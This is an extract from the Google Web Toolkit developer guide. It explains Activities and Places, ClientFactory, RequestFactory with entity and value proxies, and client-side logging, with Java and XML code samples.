<!DOCTYPE ui:UiBinder SYSTEM "http://dl.google.com/gwt/DTD/xhtml.ent"> <ui:UiBinder xmlns:ui="urn:ui:com.google.gwt.uibinder" xmlns:g="urn:import:com.google.gwt.user.client.ui"> <ui:style> .important { font-weight: bold; } </ui:style> <g:HTMLPanel> Hello, <span class="{style.important}" ui:field="nameSpan" /> <g:Anchor ui:field="goodbyeLink" text="Say good-bye"></g:Anchor> </g:HTMLPanel> </ui:UiBinder>

Because Widget creation involves DOM operations, views are relatively expensive to create. It is therefore good practice to make them reusable, and a relatively easy way to do this is via a view factory, which might be part of a larger ClientFactory.

4.7.2.

ClientFactory

A ClientFactory is not required to use Activities and Places; however, it is helpful to use a factory or dependency injection framework like GIN to obtain references to objects needed throughout your application like the event bus. Our example uses a ClientFactory to provide an EventBus, GWT PlaceController, and view implementations.
public interface ClientFactory { EventBus getEventBus(); PlaceController getPlaceController(); HelloView getHelloView(); GoodbyeView getGoodbyeView(); }

Another advantage of using a ClientFactory is that you can use it with GWT deferred binding to use different implementation classes based on user.agent or other properties. For example, you might use a MobileClientFactory to provide different view implementations than the default DesktopClientFactory. To do this, instantiate your ClientFactory with GWT.create in onModuleLoad(), like this:
ClientFactory clientFactory = GWT.create(ClientFactory.class);

Specify the implementation class in .gwt.xml:
<!-- Use ClientFactoryImpl by default --> <replace-with class="com.hellomvp.client.ClientFactoryImpl"> <when-type-is class="com.hellomvp.client.ClientFactory"/> </replace-with>

You can use <when-property-is> to specify different implementations based on user.agent, locale, or other properties you define. The mobilewebapp sample application defines a "formfactor" property used to select a different view implementations for mobile, tablet, and desktop devices. Here is a default implementation of ClientFactory for the sample app:
public class ClientFactoryImpl implements ClientFactory { private final EventBus eventBus = new SimpleEventBus(); private final PlaceController placeController = new PlaceController(eventBus); private final HelloView helloView = new HelloViewImpl(); private final GoodbyeView goodbyeView = new GoodbyeViewImpl(); @Override public EventBus getEventBus() { return eventBus; } ... }

295 / 469

4.7.3.

Activities

Activity classes implement com.google.gwt.activity.shared.Activity. For convenience, you can extend AbstractActivity, which provides default (null) implementations of all required methods. Here is a HelloActivity, which simply says hello to a named user:
public class HelloActivity extends AbstractActivity implements HelloView.Presenter { // Used to obtain views, eventBus, placeController // Alternatively, could be injected via GIN private ClientFactory clientFactory; // Name that will be appended to "Hello," private String name; public HelloActivity(HelloPlace place, ClientFactory clientFactory) { this.name = place.getHelloName(); this.clientFactory = clientFactory; } /** * Invoked by the ActivityManager to start a new Activity */ @Override public void start(AcceptsOneWidget containerWidget, EventBus eventBus) { HelloView helloView = clientFactory.getHelloView(); helloView.setName(name); helloView.setPresenter(this); containerWidget.setWidget(helloView.asWidget()); } /** * Ask user before stopping this activity */ @Override public String mayStop() { return "Please hold on. This activity is stopping."; } /** * Navigate to a new Place in the browser */ public void goTo(Place place) { clientFactory.getPlaceController().goTo(place); } }

The first thing to notice is that HelloActivity makes reference to HelloView, which is a view interface, not an implementation. One style of MVP coding defines the view interface in the presenter. This is perfectly legitimate; however, there is no fundamental reason why an Activity and it's corresponding view interface have to be tightly bound together. Note that HelloActivity also implements the view's Presenter interface. This is used to allow the view to call methods on the Activity, which facilitates the use of UiBinder as we saw above. The HelloActivity constructor takes two arguments: a HelloPlace and the ClientFactory. Neither is strictly required for an Activity. The HelloPlace simply makes it easy for HelloActivity to obtain properties of the state represented by HelloPlace (in this case, the name of the user we are greeting). Accepting an instance of a HelloPlace in the constructor implies that a new HelloActivity will be created for each HelloPlace. You could instead obtain an activity from a factory, but it's typically cleaner to use a newly constructed Activity so you don't have to clean up any prior state. Activities are designed to be disposable, whereas views, which are more expensive to create due to the DOM calls required, should be reusable. In keeping with this idea, ClientFactory is used by HelloActivity to obtain a reference to the HelloView as well as the EventBus and PlaceController. The start method is invoked by the ActivityManager and sets things in motion. It updates the view and then swaps the view back into the Activity's container widget by calling setWidget. The non-null mayStop() method provides a warning that will be shown to the user when the Activity is about to be stopped due to window closing or navigation to another Place. If it returns null, no such warning will be shown. Finally, the goTo() method invokes the PlaceController to navigate to a new Place. PlaceController in turn notifies the ActivityManager to stop the current Activity, find and start the Activity associated with the new Place, and update the URL in PlaceHistoryHandler.

296 / 469

4.7.4.

Places

In order to be accessible via a URL, an Activity needs a corresponding Place. A Place extends com.google.gwt.place.shared.Place and must have an associated PlaceTokenizer which knows how to serialize the Place's state to a URL token. By default, the URL consists of the Place's simple class name (like "HelloPlace") followed by a colon (:) and the token returned by the PlaceTokenizer.
public class HelloPlace extends Place { private String helloName; public HelloPlace(String token) { this.helloName = token; } public String getHelloName() { return helloName; } public static class Tokenizer implements PlaceTokenizer<HelloPlace> { @Override public String getToken(HelloPlace place) { return place.getHelloName(); } @Override public HelloPlace getPlace(String token) { return new HelloPlace(token); } } }

It is convenient (though not required) to declare the PlaceTokenizer as a static class inside the corresponding Place. However, you need not have a PlaceTokenizer for each Place. Many Places in your app might not save any state to the URL, so they could just extend a BasicPlace which declares a PlaceTokenizer that returns a null token.

4.7.5.

PlaceHistoryMapper

PlaceHistoryMapper declares all the Places available in your app. You create an interface that extends PlaceHistoryMapper and uses the annotation @WithTokenizers to list each of your tokenizer classes. Here is the PlaceHistoryMapper in our sample:
@WithTokenizers({HelloPlace.Tokenizer.class, GoodbyePlace.Tokenizer.class}) public interface AppPlaceHistoryMapper extends PlaceHistoryMapper { }

At GWT compile time, GWT generates (see PlaceHistoryMapperGenerator) a class based on your interface that extends AbstractPlaceHistoryMapper. PlaceHistoryMapper is the link between your PlaceTokenizers and GWT's PlaceHistoryHandler that synchronizes the browser URL with each Place. For more control of the PlaceHistoryMapper, you can use the @Prefix annotation on a PlaceTokenizer to change the first part of the URL associated with the Place. For even more control, you can instead implement PlaceHistoryMapperWithFactory and provide a TokenizerFactory that, in turn, provides individual PlaceTokenizers.

4.7.6.

ActivityMapper

Finally, your app's ActivityMapper maps each Place to its corresponding Activity. It must implement ActivityMapper, and will likely have lots of code like "if (place instanceof SomePlace) return new SomeActivity(place)". Here is the ActivityMapper for our sample app:

297 / 469

public class AppActivityMapper implements ActivityMapper { private ClientFactory clientFactory; public AppActivityMapper(ClientFactory clientFactory) { super(); this.clientFactory = clientFactory; } @Override public Activity getActivity(Place place) { if (place instanceof HelloPlace) return new HelloActivity((HelloPlace) place, clientFactory); else if (place instanceof GoodbyePlace) return new GoodbyeActivity((GoodbyePlace) place, clientFactory); return null; } }

Note that our ActivityMapper must know about the ClientFactory so it can provide it to activities as needed.

4.7.7.

Putting it all together

Here's how all the pieces come together in onModuleLoad():
public class HelloMVP implements EntryPoint { private Place defaultPlace = new HelloPlace("World!"); private SimplePanel appWidget = new SimplePanel(); public void onModuleLoad() { ClientFactory clientFactory = GWT.create(ClientFactory.class); EventBus eventBus = clientFactory.getEventBus(); PlaceController placeController = clientFactory.getPlaceController(); // Start ActivityManager for the main widget with our ActivityMapper ActivityMapper activityMapper = new AppActivityMapper(clientFactory); ActivityManager activityManager = new ActivityManager(activityMapper, eventBus); activityManager.setDisplay(appWidget); // Start PlaceHistoryHandler with our PlaceHistoryMapper AppPlaceHistoryMapper historyMapper= GWT.create(AppPlaceHistoryMapper.class); PlaceHistoryHandler historyHandler = new PlaceHistoryHandler(historyMapper); historyHandler.register(placeController, eventBus, defaultPlace); RootPanel.get().add(appWidget); // Goes to the place represented on URL else default place historyHandler.handleCurrentHistory(); } }

4.7.8.

How it all works

The ActivityManager keeps track of all Activities running within the context of one container widget. It listens for PlaceChangeRequestEvents and notifies the current activity when a new Place has been requested. If the current Activity allows the Place change (Activity.onMayStop() returns null) or the user allows it (by clicking OK in the confirmation dialog), the ActivityManager discards the current Activity and starts the new one. In order to find the new one, it uses your app's ActivityMapper to obtain the Activity associated with the requested Place. Along with the ActivityManager, two other GWT classes work to keep track of Places in your app. PlaceController initiates navigation to a new Place and is responsible for warning the user before doing so. PlaceHistoryHandler provides bidirectional mapping between Places and the URL. Whenever your app navigates to a new Place, the URL will be updated with the new token representing the Place so it can be bookmarked and saved in browser history. Likewise, when the user clicks the back button or pulls up a bookmark, PlaceHistoryHandler ensures that your application loads the corresponding Place.

4.7.9.

How to navigate

To navigate to a new Place in your application, call the goTo() method on your PlaceController. This is illustrated above in the goTo() method of HelloActivity. PlaceController warns the current Activity that it may be stopping (via a PlaceChangeRequest event) and once allowed, fires a PlaceChangeEvent with the new Place. The PlaceHistoryHandler listens for PlaceChangeEvents and updates the URL history token accordingly. The ActivityManager also listens for 298 / 469

PlaceChangeEvents and uses your app's ActivityMapper to start the Activity associated with the new Place. Rather than using PlaceController.goTo(), you can also create a Hyperlink containing the history token for the new Place obtained by calling your PlaceHistoryMapper.getToken(). When the user navigates to a new URL (via hyperlink, back button, or bookmark), PlaceHistoryHandler catches the ValueChangeEvent from the History object and calls your app's PlaceHistoryMapper to turn the history token into its corresponding Place. It then calls PlaceController.goTo() with the new Place. What about apps with multiple panels in the same window whose state should all be saved together in a single URL? You can accomplish this by using an ActivityManager and ActivityMapper for each panel. Using this technique, a Place can be mapped to multiple activities. For further examples, see the resources below.

4.7.10.
• •

Related resources

High-Performance GWT (starting at 18:12, slides 23-41) Using GWT and Eclipse to Build Great Mobile Web Apps (form factor discussion starting at 3:56, slides 6-20)

299 / 469

4.8.

RequestFactory (2.1)

RequestFactory is an alternative to GWT-RPC for creating data-oriented services. RequestFactory and its related interfaces (RequestContext and EntityProxy) make it easy to build data-oriented (CRUD) apps with an ORM-like interface on the client. It is designed to be used with an ORM layer like JDO or JPA on the server, although this is not required.

4.8.1.
Benefits

Overview

RequestFactory makes it easy to implement a data access layer on both client and server. It allows you to structure your server-side code in a data-centric way and provides a higher level of abstraction than GWT-RPC, which is serviceoriented rather than data-oriented. On the client side, RequestFactory keeps track of objects that have been modified and sends only changes to the server, which results in very lightweight network payloads. In addition, RequestFactory provides a solid foundation for automatic batching and caching of requests in the future.

How does it relate to GWT-RPC?
RequestFactory uses its own servlet, RequestFactoryServlet, and implements its own protocol for data exchange between client and server. RequestFactory takes a more prescriptive approach to the client-server programming model than GWT-RPC does. GWT-RPC uses remote methods as its basic building blocks (similar to Java RMI), whereas RequestFactory uses entities (data with a persistent identity) and services. See this external site for a discussion on RequestFactory versus GWT-RPC.

4.8.2.
1. 2. 3. 4. 5. 6. 7. 8.

Coding with RequestFactory

Let's take a look at the moving parts in an application that uses RequestFactory. Entity Entity Proxies Value Proxies RequestFactory Interface Transportable types Server Implementations Implementing a service in an entity class Using Locator and ServiceLocator

Then we'll take a look at how to put it all together. 1. 2. 3. 4. Wiring Using RequestFactory Entity Relationships Validating Entities

4.8.2.1.

Entities

An entity is a domain class in your application that has concept of a persistent identity. Generally speaking, an entity can be persisted to a data store such as a relational database or the Google App Engine Datastore. In persistence frameworks like JDO and JPA, entities are annotated with @Entity. RequestFactory does not require the use of any particular framework or annotations on your domain classes. Here's part of an entity definition from the Expenses sample application found in the GWT distribution.

300 / 469

package com.google.gwt.sample.expenses.server.domain; /** * The Employee domain object. */ @Entity public class Employee { @Size(min = 3, max = 30) private String userName; private String department; @NotNull private String displayName; private String password; @JoinColumn private Long supervisorKey; @Id @Column(name = "id") @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @Version @Column(name = "version") private Integer version; @Transient private Employee supervisor; public String getDepartment() { return department; } public String getDisplayName() { return this.displayName; } ... }

4.8.2.2.

Entity Proxies

An entity proxy is a client-side representation of a server-side entity. The proxy interfaces are implemented by RequestFactory and they fill the role of a DTO (Data Transfer Object) in GWT-RPC. RequestFactory automatically propagates bean-style properties between entities on the server and the corresponding EntityProxy on the client. Furthermore, the EntityProxy interface enables RequestFactory to compute and send only changes ("deltas") to the server. Here's the EntityProxy corresponding to the Employee shown above.
@ProxyFor(Employee.class) public interface EmployeeProxy extends EntityProxy { String getDepartment(); String getDisplayName(); Long getId(); String getPassword(); EmployeeProxy getSupervisor(); String getUserName(); void setDepartment(String department); void setDisplayName(String displayName); void setPassword(String password); void setSupervisor(EmployeeProxy supervisor); void setUserName(String userName); }

Entity proxies simply extend the EntityProxy interface and use the @ProxyFor or @ProxyForName annotation to reference the server-side entity being represented. It is not necessary to represent every property and method from the server-side entity in the EntityProxy, only getters and setters for properties that should be exposed to the client. Note that while getId() is shown in this example, most client code will want to refer to EntityProxy.stableId() instead, as the EntityProxyId returned by this method is used throughout RequestFactory-related classes. Also note that the getSupervisor() method returns another proxy class (EmployeeProxy). All client-side code must reference EntityProxy subclasses. RequestFactory automatically converts proxy types to their corresponding entity types on the server.

301 / 469

4.8.2.3.

Value Proxies

A value proxy can be used to represent any type. Unlike an EntityProxy, a ValueProxy is not required to expose an ID and version. ValueProxy is often used to represent embedded object types within entities. For example, a Person entity in a contact management application might represent Address as an embedded type so it will be persisted as a serialized object within the person entity.
@Entity public class Person { @Id private Long id; private Integer version = 0; private String firstName, lastName; @Embedded private Address address; ... }

The Address type is just a POJO with no persistence annotations:
public class Address { private String street1; private String street2; private String city; private String st; private String zip; ... }

In the client, Address is represented as a ValueProxy and referenced by the containing EntityProxy:
public interface AddressProxy extends ValueProxy { public String getStreet1(); public String getStreet2(); public String getCity(); public String getSt(); public String getZip(); ... } public interface PersonProxy extends EntityProxy { Long getId(); Integer getVersion(); String getFirstName(); String getLastName(); AddressProxy getAddress(); ... }

ValueProxy can be used to pass any bean-like type to and from the server with RequestFactory.

4.8.2.4.

RequestFactory Interface

As with GWT-RPC, you define the interface between your client and server code by extending an interface. You define one RequestFactory interface for your application, and it consists of methods that return service stubs. Here's an example from the Expenses sample app:
public interface ExpensesRequestFactory extends RequestFactory { EmployeeRequest employeeRequest(); ExpenseRequest expenseRequest(); ReportRequest reportRequest(); }

The EmployeeRequest service stub looks like this:

302 / 469

@Service(Employee.class) public interface EmployeeRequest extends RequestContext { Request<Long> countEmployees(); Request<Long> countEmployeesByDepartment( String department); Request<List<EmployeeProxy>> findAllEmployees(); Request<EmployeeProxy> findEmployee(Long id); Request<List<EmployeeProxy>> findEmployeeEntries(int firstResult, int maxResults); Request<List<EmployeeProxy>> findEmployeeEntriesByDepartment( String department, int firstResult, int maxResults); InstanceRequest<EmployeeProxy, Void> persist(); InstanceRequest<EmployeeProxy, Void> remove(); }

The RequestFactory service stubs must extend RequestContext and use the @Service or @ServiceName annotation to name the associated service implementation class on the server. The methods in a service stub do not return entities directly, but rather return subclasses of com.google.web.bindery.requestfactory.shared.Request. This allows the methods on the interface to be invoked asynchronously with Request.fire() similar to passing an AsyncCallback object to each service method in GWT-RPC.
requestFactory.employeeRequest().findEmployee(employeeId).fire( new Receiver<EmployeeProxy>() { @Override public void onSuccess(EmployeeProxy employee) { ... } });

Just like GWT-RPC callers pass an AsyncCallback that implements onSuccess() and onFailure(), Request.fire() takes a Receiver which must implement onSuccess(). Note that Receiver is an abstract class having a default implementation of onFailure() so that you don't have to handle the failure case each time a Request is invoked. To change the default implementation, which simply throws a RuntimeException, you can extend Receiver and override onFailure() with a suitable default implementation for your application. You may also want to override the default implementation of onConstraintViolation(), which returns any constraint violations on the server (see Validating Entities below). The Request type returned from each method is parameterized with the return type of the service method. The type parameter becomes the type expected by the Receiver's onSuccess() method as in the example above. Methods that have no return value should return type Request<Void>. Requests can be parameterized with the following types: • • • • Built-in value types: BigDecimal, BigInteger, Boolean, Byte, Enum, Character, Date, Double, Float, Integer, Long, Short, String, Void Custom value types: any subclass of ValueProxy Entity types: any subclass of EntityProxy Collections: List<T> or Set<T>, where T is one of the above value or entity types

Instance methods that operate on an entity itself, like persist() and remove(), return objects of type InstanceRequest rather than Request. This is explained further in the next section.

4.8.2.5.

Transportable types

RequestFactory restricts the types that may be used as proxy properties and service method parameters. Collectively, these types are referred to as transportable types. Each client-side transportable type is mapped to a server-side domain type. The mapping rules are as follows:

303 / 469

Mapping of transportable types to domain types Client type Primitive type (e.g. int) Boxed primitive type (e.g. Integer) Other value types: Enums, BigInteger, BigDecimal, Date @ProxyFor(Foo.class) FooProxy extends EntityProxy @ProxyFor(Bar.class) BarProxy extends ValueProxy Set<T> or List<T> where T is a scalar transportable type Domain type Primitive type Boxed primitive type Other value type A Foo entity A Bar value object Set<T> or List<T>

In determining whether or not a client-side method defined in a proxy or context type is a valid mapping for a domain method, the client types are converted to ther domain equivalent and regular Java type assignability rules are considered. A proxy type will be available on the client if it is: • • • • Referenced from a RequestContext as a Request parameter or return type. Referenced from a referenced proxy. A supertype of a referenced proxy that is also a proxy (i.e. assignable to EntityProxy or ValueProxy and has an @ProxyFor(Name) annotation). Referenced via an @ExtraTypes annotation placed on the RequestFactory, RequestContext, or a referenced proxy. Adding an @ExtraTypes annotation on the RequestFactory or RequestContext allows you to add subtypes to "some else's" proxy types.

Polymorphic type-mapping rules: • • • • All properties defined in a proxy type or inherited from super-interfaces must be available on the domain type. This allows a proxy interface to extend a "mix-in" interface. All proxies must map to a single domain type via a @ProxyFor(Name) annotation. The @ProxyFor of the proxy instance is used to determine which concrete type on the server to instantiate. Any supertypes of a proxy interface that are assignable to EntityProxy or ValueProxy and have an @ProxyFor(Name) annotation must be valid proxies. Given BProxy extends AProxy: if only BProxy is referenced (e.g. via @ExtraTypes), it is still permissible to create an AProxy. Type relationships between proxy interfaces do not require any particular type relationship between the mapped domain types. Given BProxy extends AProxy: it is allowable for BEntity not to be a subclass of AEntity. This allows for duck-type-mapping of domain objects to proxy interfaces. To return a domain object via a proxy interface, the declared proxy return type must map to a domain type assignable to the returned domain object. The specific returned proxy type will be the most-derived type assignable to the declared proxy type that also maps to the returned domain type or one of its supertypes.

• •

4.8.2.6.

Server Implementations

Services can be implemented on the server in one of two ways: as static methods in a type or as instance methods in a service class accompanied by a ServiceLocator. In either case, the methods defined in a service interface are implemented in the class named in the @Service or @ServiceName annotation. Unlike GWT-RPC, service implementations do not directly implement the RequestContext interface. The server-side service must implement each method defined in the service's RequestContext interface even though the implementation does not formally implement the RequestContext interface. The name and argument list for each method is the same on client and server, with the following mapping rules: • • Client side methods that return Request<T> return only T on the server. For example, a method that returns Request<String> in the client interface simply returns String on the server. EntityProxy types become the domain entity type on the server, so Request<List<EmployeeProxy>> will just return List<Employee> on the server. a method that returns

304 / 469

Methods that return a Request object in the client interface are implemented as static methods in the service class. Alternatively, they may be implemented as instance methods in a service object returned by a ServiceLocator. Methods that operate on an instance of an entity, like persist() and remove(), return an InstanceRequest object in the client interface. Instance methods do not pass the instance directly, but rather via the using() method on the InstanceRequest. On the server, instance methods must be implemented as non-static methods in the entity type.

The RequestFactory servlet requires four special methods for all entities. They may be implemented either in the entity itself or in a default-instantiable type that implements the Locator interface. The required methods are summarized in the table below. Entity locator methods can be implemented in the entity or a Locator class Method Constructor Directly in entity no-arg constructor Locator<T,I> impl T create (Class<? extends T> clazz) Description Returns a new entity instance Returns an entity's persisted ID, which may be any transportable type. The ID is typically autogenerated by the persistence engine (JDO, JPA, Objectify, etc.) Returns the persisted entity for an ID. When implemented directly in the entity, this method has a special naming convention. On the client side, there is a find() method defined in the RequestFactory interface which service interfaces extend. On the server, the method is named "find" plus the type's simple name, like findEmployee, and takes an argument of the entity's ID type. Used by RequestFactory to infer if an entity has changed. The backing store (JDO, JPA, etc.) is responsible for updating the version each time the object is persisted, and RequestFactory calls getVersion() to learn of changes. This information is used in two places. First, the RequestFactoryServlet sends an UPDATE event to the client if an entity changes as a result of the method invocation on the server, for example, when a call to persist an editable entity results in an updated version on the server. Second, the client maintains a version cache of recently seen entities. Whenever it sees an entity whose version has changed, it fires UPDATE events on the event bus so that listeners can update the view.

getId

id_type getId()

I getId(T domainObject)

find by ID

static findEntity (id_type id)

T find (Class<? extends T> clazz, I id)

getVersion

Integer getVersion()

Object getVersion (T domainObject)

4.8.2.7.

Implementing a service in an entity class

When mapping a service, methods that return a Request object in the client interface are implemented as static methods in a service class, like Employee.findAllEmployees() in the example below. Here is more of the Employee entity in the Expenses sample project:

305 / 469

// The Employee domain object @Entity public class Employee { // properties, getters, and setters omitted public static List<Employee> findAllEmployees() { EntityManager em = entityManager(); try { List<Employee> list = em.createQuery("select o from Employee o").getResultList(); // force to get all the employees list.size(); return list; } finally { em.close(); } } public static Employee findEmployee(Long id) { if (id == null) { return null; } EntityManager em = entityManager(); try { Employee employee = em.find(Employee.class, id); return employee; } finally { em.close(); } } public static final EntityManager entityManager() { return EMF.get().createEntityManager(); } public void persist() { EntityManager em = entityManager(); try { em.persist(this); } finally { em.close(); } } public void remove() { EntityManager em = entityManager(); try { Employee attached = em.find(Employee.class, this.id); em.remove(attached); } finally { em.close(); } } ... }

4.8.2.8.

Using Locator and ServiceLocator

What if you don't want to implement persistence code in an entity itself? To implement the required entity locator methods, create an entity locator class that extends Locator<T,I>:
public class EmployeeLocator extends Locator<Employee, Long> { @Override public Employee create(Class<? extends Employee> clazz) { return new Employee(); } ... }

Then associate it with the entity in the @ProxyFor annotation:
@ProxyFor(value = Employee.class, locator = EmployeeLocator.class) public interface EmployeeProxy extends EntityProxy { ... }

306 / 469

Since many persistence frameworks offer generic find/get/query methods, it's also possible to create a generic Locator class and specify it in the @ProxyFor annotation for each entity type. To do this, all your entities can extend a base class that provides getId() and getVersion(). Alternatively, the generic Locator can use reflection to call getId() and getVersion() when needed. Many persistence frameworks also make it possible to utilize a generic DAO class where entity DAOs extend the generic DAO and override methods as needed. One of the benefits of RequestFactory is that it's possible to expose DAO classes directly as services. However, inheriting service methods from a base class doesn't work if services are implemented as static methods in an entity class. Fortunately, you can use a ServiceLocator to tell RequestFactory how to obtain an instance of a service. When using a ServiceLocator, RequestFactory will invoke methods that return a Request type as instance methods instead of static methods. To use a ServiceLocator, simply implement the ServiceLocator interface. It may be as simple as this:
public class MyServiceLocator implements ServiceLocator { @Override public Object getInstance(Class<?> clazz) { try { return clazz.newInstance(); } catch (InstantiationException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } } }

Then annotate the service interface with the name of the service and locator class:
@Service(value = EmployeeDao.class, locator = MyServiceLocator.class) interface EmployeeRequestContext extends RequestContext

Note: RequestFactory caches ServiceLocator and service instances, so make sure both are thread-safe.

4.8.3.

Putting it all together

4.8.3.1.

Wiring

In order to use RequestFactory, add the following line to your .gwt.xml:
<inherits name='com.google.web.bindery.requestfactory.RequestFactory' />

Add the following jars to your WEB-INF/lib directory: • • • requestfactory-server.jar javax/validation/validator-api-1.0.0.GA.jar A JSR 303 Validator of your choice, such as hibernate-validator

Map RequestFactoryServlet in web.xml:

307 / 469

<servlet> <servlet-name>requestFactoryServlet</servlet-name> <servletclass>com.google.web.bindery.requestfactory.server.RequestFactoryServlet</servlet-class> <init-param> <param-name>symbolMapsDirectory</param-name> <!-- You'll need to compile with -extras and move the symbolMaps directory to this location if you want stack trace deobfuscation to work --> <param-value>WEB-INF/classes/symbolMaps/</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>requestFactoryServlet</servlet-name> <url-pattern>/gwtRequest</url-pattern> </servlet-mapping>

Once you've created your entities, EntityProxy types, and RequestFactory with its service interfaces, you bring it to life with GWT.create() and initialize it with your application's EventBus:
final EventBus eventBus = new SimpleEventBus(); requestFactory = GWT.create(ExpensesRequestFactory.class); requestFactory.initialize(eventBus);

4.8.3.2.

Using RequestFactory

Now we're ready to put RequestFactory to work. To create a new entity on the client, call RequestContext.create() on the EntityProxy type, then persist it using a method defined in the entity's service interface. Using the example code above to create a new Employee object and persist it to the database, we would write:
EmployeeRequest request = requestFactory.employeeRequest(); EmployeeProxy newEmployee = request.create(EmployeeProxy.class); newEmployee.setDisplayName(...); newEmployee.setDepartment(...); ... Request<Void> createReq = request.persist().using(newEmployee);

All client-side code should use the EmployeeProxy, not the Employee entity itself. This way, the domain object need not be GWT-compatible, unlike GWT-RPC, where the same concrete type is used on both client and server. EmployeeProxy has no constructor because it's an interface, not a class, so you must instantiate it with requestContext.create(EmployeeProxy.class). The benefit of this approach is that it allows RequestFactory to track object creation and modification so it can send only changes to the server. Note that the persist() method has no arguments, which is consistent with the method's implementation in the Employee entity. In the EmployeeRequest interface, it returns type InstanceRequest, which in turn gets the instance on which the method will be invoked from the using() method as shown above. Alternatively, if using a ServiceLocator, the persist() method could be declared as Request<Void> persist(Employee emp), in which case newEmployee would be passed as an argument to the persist() method in place of the using() method. Now let's add the code to save the newly created employee to the server:
createReq.fire(new Receiver<Void>() { @Override public void onSuccess(Void arg0) { // Update display } });

We fire the request with a Receiver, which calls us back when the request has completed. Any objects not returned from RequestContext.create(), such as those received from the server, must be enabled for changes by calling the RequestFactory's edit() method. Any EntityProxies returned from the getters of an editable proxy are also editable.

308 / 469

EmployeeProxy editableEmployee = request.edit(returnedEmployee); editableEmployee.setDepartment(newDepartment); ... Request<Void> updateReq = request.persist().using(editableEmployee);

The edit() method returns a new copy of the immutable object, and the original can be discarded. To send changes to the server, you create a new server request using a method defined in the service interface method and fire it as shown above. All edits occur with a particular context, and when the context is fired, all of those edits are sent, so any method invocation will result in changes being sent to the server.

4.8.3.3.

Entity Relationships

Changes to related entities can be persisted in a single request. For example, this code from the DynatableRF sample app in GWT trunk creates a new Person and Address at the same time:
PersonRequest context = requestFactory.personRequest(); AddressProxy address = context.create(AddressProxy.class); PersonProxy person = context.create(PersonProxy.class); person.setAddress(address); context.persist().using(person).fire(...);

RequestFactory automatically sends the whole object graph in a single request. In this case, the implementation of Person.persist() on the server is responsible for persisting the related Address also, which may or may not happen automatically, depending on the ORM framework and how the relationship is defined. Note that RequestFactory does not currently support embedded objects (@Embedded in various ORM frameworks) because it expects every entity to exist independently with its own ID. When querying the server, RequestFactory does not automatically populate relations in the object graph. To do this, use the with() method on a request and specify the related property name as a String:
Request findReq = requestFactory.personRequest().find(personId).with("address");

It is also necessary to use the with() method to retrieve any properties with types extending ValueProxy. The with() method takes multiple String arguments, so you can specify multiple property names at once. To specify nested properties, use dot notation. Putting it all together, you might have
Request findReq = find(personId).with("phone","address.city","address.zip")

4.8.3.4.

Validating Entities

RequestFactory supports JSR 303 bean validation. This makes it possible to keep validation rules on the server and notify the client when an entity cannot be persisted due to validation failures. To use it, ensure that a JSR 303 implementation is available in the server classpath and annotate your entities with the java.validation annotations like @Size and @NotNull as shown in the Employee entity above. Prior to invoking a service method on the server, RequestFactory will call the validation framework and send any ConstraintViolations from the server to the client, which will then call the onViolation() method on the Receiver for the request.

Conclusion
RequestFactory is the heart of the new "Bindery" features in GWT 2.1. In future articles, we'll look at integration with cell widgets, Editors, the event bus, and Activities and Places.

309 / 469

4.9.

Logging (2.1)

This document is for developers interested in logging client-side code in their GWT applications. Logging is the process of recording events in an application to provide an audit trail to understand how the application executes and to diagnose problems. Logging makes it easier to troubleshoot issues encountered by developers and users. The following sections walk through a logging example application and introduce the basic functionality of the Logging framework and configuration options. Developers should already be familiar with developing a GWT application. 1. Overview of the logging framework 2. Super Simple Recipe for Adding GWT Logging 3. Building/Running the Logging Example 4. Loggers, Handlers and the Root Logger 5. Configuring GWT Logging 6. Different Types of Handlers 7. Client vs. Server-side Logging 8. Remote Logging 9. Making All Logging Code Compile Out 10. Emulated and Non-Emulated Classes

4.9.1.

Overview of the Logging Framework

The logging framework emulates java.util.logging, so it uses the same syntax and has the same behavior as server side logging code. This allows you to share logging code between the client and server side code. A good overview of java logging is here: http://download.oracle.com/javase/6/docs/technotes/guides/logging/overview.html; you should familiarize yourself with java.util.logging to get a good feel for how to use GWT logging. Unlike java.util.logging, GWT logging is configured using .gwt.xml files. You can use these files to enable/disable logging entirely, enable/disable particular handlers, and change the default logging level. When logging is disabled, the code will compile out, so you can use logging when developing/debugging, and then have your production build compile it out to keep your JavaScript size small.

4.9.2.

Super Simple Recipe for Adding GWT Logging

Adding GWT logging is really quite simple, as simple as the following code example. However — understanding how logging works, and how to correctly configure it is important, so please do take the time to read the rest of this document.
# In your .gwt.xml file <inherits name="com.google.gwt.logging.Logging"/> # In your .java file Logger logger = Logger.getLogger("NameOfYourLogger"); logger.log(Level.SEVERE, "this message should get logged");

Warning about inheriting logging: If you do not inherit com.google.gwt.logging.Logging, then logging will technically work, since the emulation of the Java code is always present. However, you will not get any default Handlers, or any ability to configure the Root Logger (as discussed in this document). Not inheriting Logging is sometimes done by libraries that want to log errors or information but do not want to control how a customer application would display that information (they don't want to configure or turn on logging, but they do want to make logging information available if a user of the library does turn on logging).

4.9.3.

Building/Running the Logging Example

You build and run LogExample the same way you would build and run any of the other GWT samples, like Hello. The eclipse directory in the svn source contains a README.txt file to help. When you run it, the following "Logging Example" web page appears with popup menus and checkboxes for triggering test exceptions and seeing how they log.

310 / 469

LogExample is configured using LogExample.gwt.xml. The entry point for the app is LogExample.java — it simply creates and adds the various demo modules to the page. Each of these modules illustrates a different set of logging concepts; this tutorial will walk you through them.

4.9.4.

Loggers, Handlers and the Root Logger

Loggers are organized in a tree structure, with the Root Logger at the root of the tree. Parent/Child relationships are determined by the name of the logger, using "." to separate sections of the name. So if we have two loggers Foo.Bar and Foo.Baz, then they are siblings, with their parent being the logger named Foo. The Foo logger (and any logger with a name which does not contain a dot ".") has the Root Logger as a parent. When you log a message to a logger, if the Level of the message is high enough, it will pass the message on to its parent, which will pass it on to its parent, and so on, until the Root Logger is reached. Along the way, any given logger (including the Root Logger) will also pass the message to any of its Handlers, and if the Level of the message is high enough, those handlers will output the message in some way (to a popup, to stderr, etc.). For a much more detailed explanation of this, see http://java.sun.com/j2se/1.4.2/docs/guide/util/logging/overview.html. If you open LogExample.java you can see that we've created 3 loggers:
// LogExample.java private static Logger childLogger = Logger.getLogger("ParentLogger.Child"); private static Logger parentLogger = Logger.getLogger("ParentLogger"); private static Logger rootLogger = Logger.getLogger("");

We've passed these 3 loggers into LoggerController, which in turn, creates an instance of OneLoggerController for each of them. In OneLoggerController.java you can see example code for changing the Level of the logger, logging to the logger, and logging an exception to the logger. 311 / 469

